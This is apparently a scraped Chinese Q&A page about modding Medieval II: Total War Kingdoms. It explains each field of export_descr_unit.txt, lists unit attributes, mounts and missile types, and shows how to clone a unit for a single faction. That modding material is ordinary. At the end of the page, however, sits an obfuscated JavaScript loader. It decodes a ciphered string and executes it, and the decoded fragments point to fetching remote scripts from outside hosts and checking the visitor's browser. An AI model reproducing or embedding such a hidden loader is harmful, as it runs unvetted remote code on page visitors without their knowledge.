中世纪2全面战争之王国1.3的export_descr_unit.txt顺便说明一下 谢谢呀

2025-02-28 15:23:16
推荐回答(2个)
回答1:

  二,兵种篇:

  〓游戏目录/data/export_descr_unit文件.作用:所有兵种属性的修改(修改后不用重新开档可生效)
  Type
  类型 作战单位的(系统)内部名称。注意这一名称不一定与游戏中的名称相同。

  dictionary
  字典 用于查阅游戏中单位名称的标签(注:说明了类型中的名称和游戏中的名称的对应关系)

  category
  类别 infantry步兵,cavalry骑兵,siege攻城机械,handler操纵者(注:比如战犬),ship战船或non_combatant非战士(注:如农民)

  class
  武器种类 light轻武器,heavy重武器,missile远程武器或spearmen长矛

  voice_type
  声音类型 作战单位所使用的声音的类型

  banner faction
  兵种旗帜,注意步兵,远程,骑兵的旗帜都不一样的

  banner holy
  变成十字军或发动圣战后的旗帜

  soldier
  士兵 从左到右依次是:
  士兵的名称,
  普通模式下每单位的士兵数量,(这里人数÷2×5=游戏时人数)
  额外数目(单位中所包含的火猪、战犬、大象、战车和远程器械的数量),
  collision mass(冲量)标准为1.0只适用于步兵。
  officer 军官 军官模型的名称。
  ship 战船 战船的名称(heavy warship可以远洋)
  engine 器械 攻城器械的名称
  animal 动物 作战单位所使用的非坐骑类动物的名称

  mount
  坐骑 坐骑动物的类型,包括:
  fast pony 快马
  heavy horse 重装战马
  mailed horse 初期战马(天主教)
  barded horse 游侠战马(天主教)
  armoured horse 西欧铁骑(天主教)
  eastern armoured horse 东放铁骑(穆斯林和东正教国)
  camel 骆驼
  elephant 枪象
  elephant_cannon 炮象
  elephant_rocket 火箭战象

  mount_effect elephant -4, camel -4, horse +4
  坐骑效果 与敌人作战时因为特定坐骑产生的因素加成(对大象减4,骆驼减4,马加4)

  attributes
  部队属性 部队属性的列表,包括:
  sea_faring 可以上船
  hide_forest 可在森林中隐藏
  hide_improved_forest 可在森林中更好的隐藏
  hide_long_grass 可在草丛中隐藏
  hide_anywhere 可随处隐藏
  can_sap 可挖地道
  can_withdraw 可以撤退
  hardy 耐力良好
  very_hardy 耐力极佳
  frighten_foot 惊吓步兵
  frighten_mounted 惊吓骑兵
  can_run_amok 容易失去控制
  general_unit 可作为将军卫队
  general_unit_upgrade 后期将军单位
  can_formed_charge 可列队冲锋
  cantabrian_circle 可使用环形阵
  gunpowder_unit 有火枪装弹动作
  fire_by_rank 多列轮流射击
  gunmen 火枪手,只有第一排可以射击
  guncavalry 龙骑兵,只有第一排可以射击
  crossbow 十字弓,只有第一排可以射击
  start_not_skirmishing 默认关闭自动闪避
  stakes 可放置木桩
  pike 超长枪
  knight 骑士(作用不明)
  artillery 炮兵(作用不明)
  cannon 加农炮(作用不明)
  rocket 火箭(作用不明)
  mortar 迫击炮(作用不明)
  explode 会自爆
  standard 军旗部队
  no_custom 在自定义战斗中不能被选用
  command 部队带有鹰帜,可为周围部队提供加成
  mercenary_unit 部队为雇佣军
  druid 德鲁依,增加友军士气
  power_charge 力量充电(作用不明)
  free_upkeep_unit 在城市中免维护费
  is_peasant 免维护费

  formation
  阵形 从左到右依次是:
  密集阵形中士兵的左右间隔,
  密集阵形中士兵的前后间隔,
  松散阵形中士兵的左右间隔,
  松散阵形中士兵的前后间隔,
  部队的行数,
  阵形(square方阵, horde散阵, schiltrom刺猬阵, shield_wall盾墙, phalanx长枪方阵, or wedge楔形阵)

  stat_health
  生命力 士兵的生命点数,坐骑和相关动物的生命点数(坐骑马和骆驼没有单独的生命点数,这个数值一般指战车或大象的生命点数)

  stat_pri
  基本武器 数值从左到右依次是
  攻击力,
  冲锋加成,
  远程武器类型(无远程武器则标为NO),
  远程武器的射程(无远程武器则标为0),
  远程武器的弹药数(无远程武器则标为0),
  武器类型(melee近战, thrown投掷, missile远程, or siege_missile远程攻城器械),
  技术类型(simple简单, other其他, blade剑, archery弓箭 or siege攻城器械),伤害类型(piercing刺, blunt打击, slashing砍 or fire引燃),
  武器打击的声音类型,
  攻击间隔时间。
  肉搏中的动作补偿因素,正常为1。(注:数字越大越不利)

  stat_pri_ex
  基本武器特殊加成 对骑兵的攻击加成、对骑兵的防御加成、破甲。

  stat_pri_attr
  基本武器属性,如下:
  ap 破甲,目标的盔甲防御力减半
  bp 穿体,远程攻击可以穿过人体打击到后面的人
  spear 适用于长矛,对骑兵攻击有加成,对步兵攻击受惩罚
  long_pike 适用于超长矛
  short_pike适用于短矛
  prec远程武器于战斗前投掷(如标枪)
  thrown 投掷,远程武器为投掷方式(如标枪)
  launching 可以把目标击飞(如大象)
  area 大面积伤害(如投石器)
  spear & light_spear 具有防止骑兵正面冲击的各种能力
  spear_bonus_X 攻击骑兵有加成,加成为2、4、6、8或10

  stat_sec
  第二武器 战象和战车的第二武器指象和战车的攻击力;远程部队和部分骑兵部队拥有自己的副武器。数据的排列顺序参照基本武器。

  stat_sec_attr
  第二武器的属性 参照基本武器的属性

  stat_pri_armour
  基本护甲 数值从左到右依次是:
  盔甲防御力,
  防御技巧(指近战,受远程攻击则无作用)
  盾牌防御力,
  受打击的声音类型

  stat_armour_ex
  基本护甲的升级 原始盔甲防御值
  一级盔甲加成
  二级盔甲加成 (0则表示不能加成)
  三级盔甲加成 (0则表示不能加成)
  (以上三个数字表示的是加成后的盔甲等级,并不代表实际提高的数值。 4表示一级盔甲,5表示二级盔甲,6、7表示三级盔甲,8表示四级盔甲,9表示五级盔甲,11表示6级盔甲)
  原始防御技巧值
  原始盾牌防御值
  受打击的声音类型

  stat_sec_armour
  第二护甲 指战车和象本身的防御力,数据的排列顺序参照基本护甲。

  stat_heat
  热的影响 在炎热天气中容易产生疲劳的程度(数值越高越容易疲劳,如北欧的部队)

  stat_ground
  地形影响 不同地形对战斗的修正值,数据的顺序依次是
  灌木丛,沙地,森林,雪地

  stat_mental
  士气 数值从左到右依次是:
  基础士气,
  纪律(normal普通, low低, disciplined 纪律好or imperuous鲁莽),
  训练(未受训、受训trained训练度高highly_trained)

  stat_charge_distance
  冲锋距离 部队从多远开始冲锋

  stat_fire_delay
  射击间隔 每次齐射间的间隔

  stat_cost
  招募费用 数值从左到右依次是:
  造兵回合;
  购买价格;
  维护费;
  升级武器费;
  升级盔甲费;
  自定义战役费用;
  多于几队开始罚钱;
  罚钱的多少

  armour_ug_levels
  盔甲升级水平 盔甲升级所需的铁匠铺的等级
  armour_ug_models
  盔甲升级模型 盔甲升级后对应的模型

  ownership
  所属国家 所属的国家或文化

  ; era 0, 早期可用
  ; era 1, 中期可用
  ; era 2, 晚期可用

  unit_info
  兵所属派系和文化背景还有兵的特征

  有的兵种可以很多国家使用,你想自己国家单独使用且不用去搞模型,图片的话,就直接复制这个兵种所有属性,在另起2行粘贴,把属性第一行的类型名称变化下就OK了,例如,侠义骑士有很多国家可以造,法国也可以,你修改后其他国家也受益,想造个单独法国能用的,又不影响游戏正常运行,方法:
  ①复制整段侠义骑士(Chivalric Knights)的属性,另起两行,就是敲2下回车键,在粘贴整段;
  ②把粘贴后的第一行type Chivalric Knights随便改下type NE Chivalric Knights;
  ③把复制前侠义骑士的招募国家ownership france, denmark, spain, sicily, slave法国去掉;
  ④把粘贴后侠义骑士的招募国家ownership france就法国一国可招募;
  ⑤粘贴后的侠义骑士(NE Chivalric Knights)你可以修改其属性;
  ⑥去data下export_descr_buildings文件里把recruit_pool "Chivalric Knights" 1 0.7 6 0 requires factions { france, denmark, spain, sicily, }招募国家法国去掉,在下面另起行,recruit_pool "NE Chivalric Knights" 1 0.7 6 0 requires factions { france, }

  这样,你就有个与其他国家属性不一样的侠义骑士,修改时注意格式.

  远程武器stat_pri分析列表(注意如投石车的一些是在stat_sec):
  第3项弹药 第7项引型
  弓箭 arrow missile_mechanical(力量小,全角度)
  弩兵 steel_crossbow_bolt missile_mechanical
  床弩 ballista(穿透) artillery_mechanical(力量大,仰射角小)
  投弹兵nahptha_bomb missile_gunpowder
  龙骑 pistol_bullet missile_gunpowder(力量小,全角度可惊吓)
  火枪 musket_bullet missile_gunpowder
  风琴炮ribault_shot(连发) artillery_gunpowder
  怪炮monster_ribault_shot artillery_gunpowder
  火箭 rocket (面积烧杀,乱飞) artillery_gunpowder(力量大,角度小,可惊吓)
  枪象 arquebus_bullet missile_gunpowder
  炮象 elephant_cannon_shot(快速小面积溅射) artillery_gunpowder
  火箭战象elephant_rocket (连发面积烧杀,乱飞)artillery_gunpowder
  小炮类mortar_shot artillery_gunpowder
  小炮类bombard_shot (小面积溅射) artillery_gunpowder
  小炮类culverin_shot (碎裂弹) artillery_gunpowder
  小炮类basilisk_shot artillery_gunpowder
  小炮类serpentine_shot artillery_gunpowder
  大炮grand_bombard_shot (穿甲弹) artillery_gunpowder
  巨炮 monster_bombard_shot(大面积溅射) artillery_gunpowder
  抛石车catapult(抛射) artillery_mechanical
  抛石器trebuchet(抛射,可燃) artillery_mechanical
  (以下是隐藏武器类)
  exploding_culverin_shot 爆裂弹
  exploding_basilisk_shot 爆裂弹
  exploding_cannon_shot 爆炸弹
  flaming_bombard_shot 炎弹
  flaming_grand_bombard_shot 炎弹
  弹药决定攻击属性,引型决定威力和射角,弹药之间和引型之间可以根据各人喜好随便互换~

  在data下export_descr_unit文件
  以原版Lancer为例:
  type Lancers
  dictionary Lancers ; Lancers
  category cavalry
  兵种类:骑兵还是步兵还是.......要对应你改的兵种)
  class heavy
  (兵类型)
  voice_type Heavy
  (兵的声响类型)
  banner faction main_cavalry
  (兵种旗帜)
  banner holy crusade_cavalry
  (变成十字军或发动圣战后的旗帜)
  soldier Lancers, 32, 0, 1
  (依次为:骑手;兵标准数,坐骑的数量,冲撞质量....骑兵人马合一,故骑为0;大象骑手按比例,想增加枪象上的射手就把前数增加,最大为2人1象,想增加大象就改中间数字;冲撞质量标准为1,增加则提高突破能力。)
  mount armoured horse
  (坐骑类型)
  mount_effect elephant -4, camel -4
  (和哪种兵战斗有加成或惩罚多少)
  attributes sea_faring, hide_forest, hardy, can_withdraw, can_formed_charge, knight
  (兵的属性)
  formation 2, 4.4, 3, 6, 2, square, wedge
  (兵的前后左右排列和能使用的阵型,红2是指行数,可调整兵的正面火力覆盖;后面分别是初始阵型和可变阵型)
  stat_health 1, 0
  (依次:人的生命值;坐骑的生命值......注意远射兵器只识别人的生命,所以大象怕远射)
  stat_pri 13, 8, no, 0, 0, melee, melee_blade, piercing, spear, 25, 1
  (依次:主武器攻击;冲锋加成;远程武器名;射程;弹药;交战类型;武器类型;武器声音;近战武器名;动作时间;武器切换速度)
  ;stat_pri_ex 0, 0, 0
  (武器升级变化)
  stat_pri_attr no
  (主武器属性)
  stat_sec 14, 4, no, 0, 0, melee, melee_blade, piercing, sword, 25, 1
  (依次是次武器:攻击;冲锋加成等.....参照stat_pri)
  ;stat_sec_ex 0, 0, 0
  (次器升级变化)
  stat_sec_attr no
  (次武器属性)
  stat_pri_armour 11, 5, 0, metal
  (依次:兵的甲防;技防;盾防;......技防近战有效,对远射无效;盾防正面有效,跑动中无效,原版盾防计算出错,使得防御倒减)
  ;stat_armour_ex 11, 0, 0, 0, 5, 0, 0, metal
  (兵防御的升级变化)
  stat_sec_armour 0, 0, flesh
  (坐骑防御的升级变化)
  stat_heat 6
  (疲劳速度,越大越累得越快)
  stat_ground 0, -2, -4, 0
  (依次:灌木丛,沙地,森林,雪地的攻击和防御加成或惩罚)
  stat_mental 11, impetuous, trained
  (依次:士气;纪律;训练.......纪律就是会不会乱冲乱跑,训练影响阵型是否容易被打乱)
  stat_charge_dist 45
  (开始冲锋距离........冲锋时不能变向,但有冲锋加成)
  stat_fire_delay 0
  (整合队伍时间,影响部队的反映能力)
  stat_food 60, 300
  (不明)
  stat_cost 1, 930, 320, 130, 100, 930, 4, 230
  (依次:造兵回合;购买价格;维护费;升级武器费;升级盔甲费;自定义战役费用;多于几队开始罚钱;罚钱的多少)
  armour_ug_levels 6
  (盔甲升级要求铁匠等级)
  armour_ug_models Lancers
  (盔甲升级后套用模型)
  ownership france
  (哪国能造)
  era 2 france
  (哪国在哪些时期拥有.....era 0为初期;era 1为中期;era 2为后期;注意要按上下顺序依次添加)
  ;unit_info 13, 0, 16
  (凡是前面带;号数据无效)
  《常用兵属性列表》:attributes后能用的数据
  sea_faring 可以上船
  hide_forest 可在森林中隐藏
  hide_improved_forest 可在森林中更好的隐藏
  hide_long_grass 可在草丛中隐藏
  hide_anywhere 可随处隐藏
  can_sap 可挖地道
  can_withdraw 可以撤退
  hardy 耐力良好
  very_hardy 耐力极佳
  frighten_foot 惊吓步兵
  frighten_mounted 惊吓骑兵
  can_run_amok 容易失去控制
  general_unit 可作为将军卫队
  general_unit_upgrade 后期将军单位
  can_formed_charge 可列队冲锋
  cantabrian_circle 可使用环形阵
  gunpowder_unit 有火枪装弹动作
  fire_by_rank 多列轮流射击
  gunmen 火枪手,只有第一排可以射击
  guncavalry 龙骑兵,只有第一排可以射击
  crossbow 十字弓,只有第一排可以射击
  start_not_skirmishing 默认关闭自动闪避
  stakes 可放置木桩
  pike 超长枪
  knight 骑士(作用不明)
  artillery 炮兵(作用不明)
  cannon 加农炮(作用不明)
  rocket 火箭(作用不明)
  mortar 迫击炮(作用不明)
  explode 会自爆
  standard 军旗部队 (加士气)
  no_custom 在自定义战斗中不能被选用
  command 部队带有鹰帜,可为周围部队提供加成
  mercenary_unit 部队为雇佣军
  druid 德鲁依,增加友军士气
  power_charge 力量充电(作用不明)
  free_upkeep_unit 在城市中免维护费
  is_peasant城市免费
  《常用武器属性列表》:stat_pri_attr和stat_sec_attr后能用的数据
  ap 破甲,目标的盔甲防御力减半
  bp 穿体,远程攻击可以穿过人体打击到后面的人
  spear 适用于长矛,对骑兵攻击有加成,对步兵攻击受惩罚
  long_pike 适用于超长矛
  short_pike适用于短矛
  prec远程武器于战斗前投掷(如标枪)
  thrown 投掷,远程武器为投掷方式(如标枪)
  launching 可以把目标击飞(如大象)
  area 大面积伤害即践踏
  spear & light_spear 具有防止骑兵正面冲击的各种能力
  spear_bonus_x 攻击骑兵有加成
  《坐骑mount列表》:mount后能用的数据
  pony 最垃圾的马
  fast pony 快马
  heavy horse 重装战马
  mailed horse 初期战马(天主教)
  barded horse 游侠战马(天主教)
  moured horse 西欧铁骑(天主教)
  eastern armoured horse 东放铁骑(穆斯林和东正教国)
  camel 骆驼
  elephant 枪象
  elephant_cannon 炮象
  elephant_rocket 火箭战象
  《远射武器列表》:步骑射兵在stat_pri后第3项 ,工程器类在stat_sec后第3项。
  弓箭 arrow
  火箭 arrow_fiery
  弩兵 steel_crossbow_bolt
  投弹兵nahptha_bomb
  龙骑 pistol_bullet
  火枪 musket_bullet
  风琴炮ribault_shot
  怪炮monster_ribault_shot
  火箭 rocket
  枪象 arquebus_bullet
  炮象 elephant_cannon_shot
  火箭战象elephant_rocket
  mortar炮mortar_shot
  bombard炮bombard_shot
  culverin炮culverin_shot
  basilisk炮basilisk_shot
  加浓炮serpentine_shot
  射石炮grand_bombard_shot
  巨炮 monster_bombard_shot
  抛石车catapult(抛射)
  抛石器trebuchet(抛射,可燃)
  (以下是隐藏武器类)
  exploding_culverin_shot 开花弹
  exploding_basilisk_shot 开花弹
  exploding_cannon_shot 开花弹
  flaming_bombard_shot 燃烧弹
  flaming_grand_bombard_shot 燃烧弹
  fiery_norman_catapult 燃烧

回答2:

这个是兵种属性数值的文本。。。你可以在里面修改你不满意的兵种指数 比如近战攻击 远程攻击 防御 盾抗 等等

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();